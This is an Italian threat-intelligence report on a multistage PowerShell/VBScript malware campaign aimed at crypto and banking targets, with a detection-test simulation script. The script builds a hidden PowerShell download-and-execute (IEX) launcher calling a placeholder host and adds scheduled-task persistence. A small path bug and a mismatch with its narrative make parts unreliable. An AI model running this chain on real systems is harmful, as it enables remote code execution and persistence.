Operazione DualScript: Malware PowerShell Multistadio che Prende di Mira Cripto e Finanza

Riepilogo

Il report delinea l’Operazione DualScript, una campagna malware a più fasi che si basa su attività programmate per la persistenza, launcher VBScript e loader PowerShell per distribuire sia un hijacker del clipboard che il trojan di accesso remoto RetroRAT. Gli aggressori memorizzano PowerShell dannoso su server esterni ed eseguono completamente in memoria per ridurre le opportunità di rilevamento. RetroRAT registra le sequenze dei tasti, monitora le finestre attive per parole chiave legate alle finanze e invia i dati rubati attraverso un canale TCP C2 personalizzato. La campagna è mirata ad attività di criptovaluta e obiettivi bancari statunitensi.

Indagine

Gli analisti hanno scoperto attività programmate configurate per avviare file VBScript da percorsi scrivibili dall’utente, che esegue quindi PowerShell nascosto con il bypass delle politiche di esecuzione abilitato. Sono stati identificati due catene di distribuzione parallele: una recuperava uno script Wallet.txt per dirottare il contenuto del clipboard di criptovaluta, mentre l’altra caricava RetroRAT direttamente in memoria. L’analisi statica ha anche rivelato logiche anti-analisi, creazione di mutex, keylogging multi-thread e una stringa di handshake C2 codificata.

Mitigazione

I difensori dovrebbero monitorare attività programmate sospette che invocano VBScript o PowerShell con finestre nascoste e argomenti di bypass. Il rilevamento endpoint dovrebbe concentrarsi sull’esecuzione di PowerShell in memoria, comportamento insolito di monitoraggio del clipboard e creazione di mutex sconosciuti. Le organizzazioni dovrebbero anche bloccare il traffico in uscita verso i domini malevoli e applicare rigidi controlli di esecuzione a PowerShell e VBScript.

Risposta

Se viene rilevata questa attività, isolare l’host interessato, disabilitare le attività programmate malevole e rimuovere gli artefatti VBScript o PowerShell persistenti. Eseguire una scansione forense completa per il payload RetroRAT, i dati di capture della sequenza di tasti e il traffico C2 correlato. Resettare le informazioni del portafoglio di criptovaluta esposto e cambiare le credenziali bancarie. Ripristinare i sistemi colpiti da backup puliti e bloccare i domini e gli indirizzi IP identificati al livello di rete.

Esecuzione della Simulazione

Prerequisito: il Controllo Pre-volo di Telemetria e Linea di Base deve essere stato superato.

Motivazione: Questa sezione delinea l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.

• Narrazione dell’Attacco e Comandi:
  L’attaccante posiziona inizialmente uno script VBScript (dual.vbs) nella directory del profilo dell’utente. Lo scopo dello script è avviare PowerShell con i flag -WindowStyle Hidden and -ExecutionPolicy Bypass, quindi scaricare ed eseguire un payload remoto (simulato con un semplice Write-Host). Per ottenere la persistenza, l’attaccante registra un’attività programmata (DualScriptPersist) che esegue il VBScript al logon. Ogni passaggio produce le due voci di EventID 4104 correlate che la regola cerca.

• Script di Test di Regressione:

  # -------------------------------------------------
  # Simulazione di Attacco DualScript – PowerShell
  # -------------------------------------------------
  # 1️⃣ Creare un VBScript malevolo in un percorso scrivibile dall'utente
  $vbsPath = "$env:USERPROFILEdual.vbs"
  $payloadUrl = "http://example.com/payload.ps1"   # URL di placeholder
  $vbsContent = @"
  WScript.Sleep 500
  Dim sh
  Set sh = CreateObject("WScript.Shell")
  sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
  "@
  $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII
  
  # 2️⃣ Registrare un'attività programmata che esegua il VBScript ad ogni logon utente
  $taskName = "DualScriptPersist"
  $taskAction = "`"$vbsPath`""
  schtasks.exe /Create `
      /SC ONLOGON `
      /RL HIGHEST `
      /TN $taskName `
      /TR $taskAction `
      /F
  
  # 3️⃣ Forzare l'avvio dell'attività immediatamente (attiva rilevamento)
  schtasks.exe /Run /TN $taskName
  
  Write-Host "`n[+] Simulazione DualScript eseguita. Controlla il tuo SIEM per gli allarmi."
  # -------------------------------------------------

• Comandi di Pulizia:

  # -------------------------------------------------
  # Pulizia della Simulazione DualScript
  # -------------------------------------------------
  $taskName = "DualScriptPersist"
  $vbsPath  = "$env:USERPROFILEdual.vbs"
  
  # Eliminare l'attività programmata
  schtasks.exe /Delete /TN $taskName /F
  
  # Rimuovere il file VBScript
  Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "`n[+] Pulizia completata."
  # -------------------------------------------------